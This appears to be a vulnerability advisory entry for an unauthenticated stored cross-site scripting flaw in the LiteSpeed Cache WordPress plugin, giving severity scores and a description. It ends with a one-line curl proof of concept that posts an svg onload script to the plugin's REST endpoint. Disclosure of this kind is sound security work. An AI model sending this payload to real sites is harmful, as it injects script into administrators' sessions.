LiteSpeed Cache < 5.7.0.1 - Unauthenticated Stored XSS

2024-02-2900:00:00

wpvulndb

108

unauthenticated stored xss

admin backend exploit

litespeed cache

8.3 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

8.3 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

8.8%

JSON

Description The plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘nameservers’ and ‘_msg’ parameters due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

curl -X POST --data 'success=0&result[_msg]=<svg/onload=alert(/XSS/)>' https://example.com/wp-json/litespeed/v1/cdn_status

The XSS will be triggered (once) when an admin will access any page of the backend